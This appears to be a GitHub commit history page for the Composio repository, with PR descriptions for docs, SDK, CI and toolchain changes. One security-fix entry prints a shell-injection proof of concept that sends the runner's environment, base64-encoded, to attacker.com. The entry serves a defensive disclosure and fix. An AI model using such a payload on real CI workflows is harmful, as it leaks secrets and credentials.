`.claude/skills/` with a symlink (`path ... beyond a symbolic link`). The final commit used `--no-verify` after the validators and formatting checks above passed. |
||
|
Rahul Tarak
|
61feaf277b |
fix(docs): point Algolia search at renamed docs_composio index (#3684)
## The bug The live Algolia index was renamed to **`docs_composio`**, but every default in the repo still pointed at the old **`docs_composio_dev_62hi9pqz1l_pages`** in three places: 1. `.github/workflows/docs-search-sync.yml` — `ALGOLIA_INDEX_NAME` fallback 2. `docs/lib/search-index.ts` — `ALGOLIA_DEFAULT_INDEX_NAME` (used by the sync script) 3. `docs/components/custom-search-dialog.tsx` — client query fallback (×2) So unless the `ALGOLIA_INDEX_NAME` Actions variable happened to be set, the **docs-search-sync** workflow rebuilt the dead old index on every push to `next`, while the live site queried a different one. Net effect: search index updates never showed up. ## The fix Repoint the default to `docs_composio` in all three spots (+ README / CLAUDE.md docs). The env overrides still take precedence, so nothing breaks if a variable is set. ## Env to set (so it actually publishes & reads the right index) The code now defaults to `docs_composio`, so the only things that **must** be configured: **GitHub Actions (repo → Settings → Secrets and variables → Actions):** - `ALGOLIA_ADMIN_API_KEY` *(secret, required)* — without it the workflow skips the sync. - `ALGOLIA_APP_ID` *(variable, optional)* — defaults to `62HI9PQZ1L`. - `ALGOLIA_INDEX_NAME` *(variable, optional)* — now defaults to `docs_composio`; set only to override. **Vercel (Production env) — for the live search to query the same index:** - `NEXT_PUBLIC_ALGOLIA_SEARCH_API_KEY` *(required; without it the client falls back to `/api/search`)* - `NEXT_PUBLIC_ALGOLIA_APP_ID` = `62HI9PQZ1L` *(optional, defaulted)* - `NEXT_PUBLIC_ALGOLIA_INDEX_NAME` = `docs_composio` *(optional now that the default matches; set it to be explicit)* > If `NEXT_PUBLIC_ALGOLIA_INDEX_NAME` was previously set to the old name in Vercel, update or remove it — otherwise the client keeps reading the old index regardless of this PR. ## Testing - `bun run types:check` passes. - `grep` confirms no remaining references to the old index name. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
Rahul Tarak
|
d17a268d3f |
docs: sessions-first rewrite — new guides, examples & components (+ core 0.13.0 SDK changes) (#3637)
Integration branch for the next docs release: a **sessions-first
documentation rewrite** — new and rewritten guides, example pages,
interactive components, and docs tooling — plus the supporting SDK
changes that the new docs describe.
The bulk of this PR is docs (~24k lines across ~150 commits); the SDK
changes (~5k lines) back the new guides.
## Documentation (the bulk)
- **Sessions-first restructure** — reorganized navigation and section
structure (incl. the "Sandbox (prev workbench)" section), with
v3-reorganization redirects so old URLs keep resolving.
- **Rewritten core guides** — quickstart, configuring sessions, triggers
(creating + subscribing to events), proxy-execute, toolkits
enable/disable, and common FAQ, rewritten in the house voice.
- **New example pages** — local-sandbox PR reviewer, daily standup bot,
and slack bot, with runnable build-ups.
- **New interactive components & diagrams** — triggers flow animation,
manage-connections visual, connection-refresh visual, and the
terminal-kit components.
- **Docs tooling** — a docs-graph link-graph connectivity checker,
search reprioritization (deprioritize legacy pages), and SDK-reference
regeneration.
## Supporting SDK changes
**`@composio/core` → 0.13.0 (minor)**
- `composio.sessions.create()` as the first-class sessions API
(`composio.create()` kept as an alias).
- **MCP is opt-in:** default `create()` / `use()` return native-tool
sessions (`SessionWithoutMcp`); pass `{ mcp: true }` to surface
`session.mcp`. _Migration: read `session.mcp` only after creating with
`{ mcp: true }`._
- `session.sandbox` is the canonical resolved config;
`session.workbench` kept as a deprecated alias. `sandbox` is the
preferred session-config key (`workbench` still accepted).
- `connectedAccounts.updateAcl()` graduated from experimental (alias
kept).
- `triggers.parse()` (parse + optionally verify an incoming webhook) and
`triggers.setWebhookSubscription()`.
**`@composio/experimental` → minor** — local-workbench helpers moved
onto the `@composio/experimental/workbench` subpath (out of
`@composio/core/experimental`), keeping the ~14 KB embedded Python
helper out of core. Plus the experimental Pi provider.
**`@composio/slim` → minor.**
**Python → 0.17.0** — mirrors the TS surface: `composio.sessions` mount
(`tool_router` deprecated), `triggers.parse()` /
`set_webhook_subscription()`, the `sandbox` config key, and
`connected_accounts.update_acl()`.
## Review response (#3664)
Addressed the `@composio/core` review:
- **Security:** `triggers.parse()` no longer fails open — a
present-but-empty `verifySecret` (e.g. unset `COMPOSIO_WEBHOOK_SECRET`)
now throws instead of silently skipping verification; omitting it stays
an explicit opt-out (both SDKs).
- Removed snake_case leakage from `transformWebhookSubscription` (+ the
index signature that allowed it).
- **Removed** the TS-only `connectedAccounts.link()` toolkit
auto-resolve (shipped with cancellability / orphaned-auth-config bugs
and was effectively undocumented; to be reintroduced properly later).
- Unified Python error types on `ValidationError`; added `mcp=True`
Python tests; fixed runtime-portability + error-type test assertions.
- Polished deprecation messages; fixed the backwards `/experimental`
`@deprecated` note and the `SessionWithMcp` JSDoc.
## Testing
- **TS:** `@composio/core` + `@composio/experimental` typecheck pass;
vitest green for the touched suites.
- **Python:** `test_tool_router.py` + `test_triggers.py` pass (161
tests).
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Kshitij Jhunjhunwala <kj@composio.dev>
Co-authored-by: Malay Vasa <malayvasa@gmail.com>
Co-authored-by: Sarah Simionescu <sarah@composio.dev>
Co-authored-by: Kshitij Jhunjhunwala <113939507+KJ-11@users.noreply.github.com>
|
||
|
Sarah Simionescu
|
417d614ef9 |
ci: add bump-homebrew-tap workflow (#3355)
## Summary - New workflow that auto-bumps the Homebrew formula in [ComposioHQ/homebrew-tap](https://github.com/ComposioHQ/homebrew-tap) whenever a stable CLI release is published. - Triggers on `release: published` for tags matching `@composio/cli@*`. Skips beta/rc/alpha tags. Also exposes `workflow_dispatch` for manual replay. - Pulls SHA256s from the release's `checksums.txt`, edits `Formula/composio.rb` in the tap repo, and commits/pushes (no-op if already current). ## Setup required before this can run - Create a fine-grained PAT scoped to `ComposioHQ/homebrew-tap` only, with `Contents: read/write`. - Add it as a repo secret named `HOMEBREW_TAP_TOKEN` in this repo. Without that secret the checkout step will fail; the workflow won't break anything else. ## Test plan - [ ] Land this PR - [ ] Add `HOMEBREW_TAP_TOKEN` secret - [ ] Manually run via `workflow_dispatch` with tag `@composio/cli@0.2.28` — should be a no-op (formula already at 0.2.28) - [ ] Verify next CLI release auto-bumps the formula --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
Saransh Rana
|
b2efc824f6 |
fix(ci): prevent shell injection via version input in cli.test-installation.yml (#3594)
## Summary
Fixes a **GitHub Actions script (shell) injection** in
`.github/workflows/cli.test-installation.yml`. The `version` input — and
the `release_tag` output derived from it — were interpolated with `${{
}}` **directly into `run:` shell bodies**, so GitHub Actions substituted
the value into the script *source* before bash parsed it. Shell
metacharacters in the input therefore became executable code on the
runner.
PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #`
rendered as:
```bash
raw_input=""; curl http://attacker.com/$(env | base64) #"
```
→ arbitrary command execution on the runner.
Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal
tracking: **SEC-585**.
## Fix
Pass each value through `env:` so the shell receives it as an inert
environment variable, never re-parsed as source — the same pattern
already used in `build-cli-binaries.yml`. Three sites:
| Step | Was inline | Now via `env:` |
|------|-----------|----------------|
| Resolve and validate target release | `inputs.version` |
`VERSION_INPUT` |
| Test install script (specific version) | `release_tag` | `RELEASE_TAG`
|
| Test custom install directory | `use_latest`, `release_tag` |
`USE_LATEST`, `RELEASE_TAG` |
Net change: **+9 / −4 lines**, single file.
## Behaviour & safety verification
- **`actionlint`** (1.7.12): no new real findings vs. the pre-change
baseline (the only count deltas are info/style shellcheck artifacts on
byte-identical, untouched blocks whose line numbers shifted).
- **YAML** parses cleanly.
- **Functional (bash)** — all legitimate inputs resolve identically:
- empty (push event) → `use_latest=true`
- `latest` → `use_latest=true`
- `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>`
- `@composio/cli@1.2.3` → passthrough
- malicious payload → treated as an **invalid version string** (no
command executed)
- No behaviour change for any valid trigger (`workflow_dispatch`,
`workflow_call`, tag `push`).
## Notes / optional follow-ups (not in this PR)
- Consider adding a least-privilege `permissions: { contents: read }`
block (mirrors `build-cli-binaries.yml`).
- The `workflow_call`/`push` `else` fallthrough still passes
unrecognized inputs through to `release_tag`; tightening it would reject
bad input at the source as well. Left out here to keep the fix minimal
and behaviour-preserving.
Co-authored-by: Saransh Rana <security@composio.dev>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
|
||
|
Alberto Schiabel
|
f8cd90ce5a |
chore(ts): adopt Node 24 and pnpm 11 toolchain (#3646)
This PR: - uses plain `tsdown` package scripts and a shared typed `tsdown.config.base.ts` so Node 24 builds work without loader flags - switches the repo dev/build toolchain to Node `24.17.0` and pnpm `11.8.0` through `mise.toml`, `mise.lock`, and `pnpm-lock.yaml` - marks the root package as ESM with `type: module`, matching the TypeScript packages - keeps Node `22.22.3` in the runtime/E2E matrices as the minimum supported user runtime - changes the TypeScript build workflow back to a single build on the mise-managed toolchain and broadens path filters for package-manager/build config files - adds pnpm 11 build-script policy with `allowBuilds` and intentionally ignored `sharp` builds - enables tsdown ESM shims for the packaged CLI wrapper so `composio --help` runs under Node 22 and Node 24 Verified locally: - `CI=true pnpm install --frozen-lockfile` - `pnpm lint` - `pnpm run build:packages` - `COMPOSIO_E2E_NODE_VERSION=22.22.3 pnpm --filter @e2e-tests/node-esm-basic --filter @e2e-tests/node-cjs-basic run test:e2e:node` - `node ts/packages/cli/bin/composio.mjs --help` under Node `22.22.3` and `24.17.0` |
||
|
Alberto Schiabel
|
23f9053804 |
chore(ts): clean up dependencies and bump toolchain (#3623)
This PR: - consolidates and bumps TypeScript/npm dependencies across the monorepo, docs, examples, and e2e fixtures — no runtime behavior changes - **cleanup:** remove the unused `ansis` dependency from `@composio/cli` (`picocolors` is the actual color lib), drop the dead `uuid` catalog entry, catalog `dotenv` + `@types/bun` and repoint drifting examples/e2e onto them, and replace `chalk` with `picocolors` in `@composio/core` (smaller, ESM, already used by the CLI) - **TypeScript 6:** bump `typescript` `5.9 → 6.0.3` everywhere (catalog, CLI test fixtures, docs); drop vestigial `declaration`/`outDir` from the provider `tsconfig.json`s to fix the TS 6 `rootDir` regression (`TS6059`); add `ignoreDeprecations: "6.0"` in docs for the `baseUrl` deprecation - **toolchain:** `tsdown 0.18 → 0.22.3`, `vitest` + `@vitest/ui → 4.1.9`, `publint → 0.3.21`, `wrangler → 4.101.0` (each the latest version within the 3-day `minimumReleaseAge` gate) - **Effect + hono:** `effect 3.21.3`, `@effect/cli 0.75.2`, `@effect/platform 0.96.1`, `platform-bun 0.90.0`, `platform-node-shared 0.60.0`, `language-service 0.86.2`, `@effect/vitest 0.29.0`, `hono 4.12.25`; pin the Effect peer cohort (`printer`/`printer-ansi`/`typeclass`/`rpc`/`sql`/`cluster`/`experimental`/`workflow`) as `@composio/cli` devDeps so the auto-installed peers resolve coherently, and bump `@cloudflare/workers-types` to satisfy `wrangler`'s peer - changesets: `@composio/cli` patch (ansis removal) and `@composio/core` patch (chalk → picocolors) - verified: `build`, `typecheck` (tsgo + real `tsc` 6.0.3), and local tests (excluding e2e) all pass |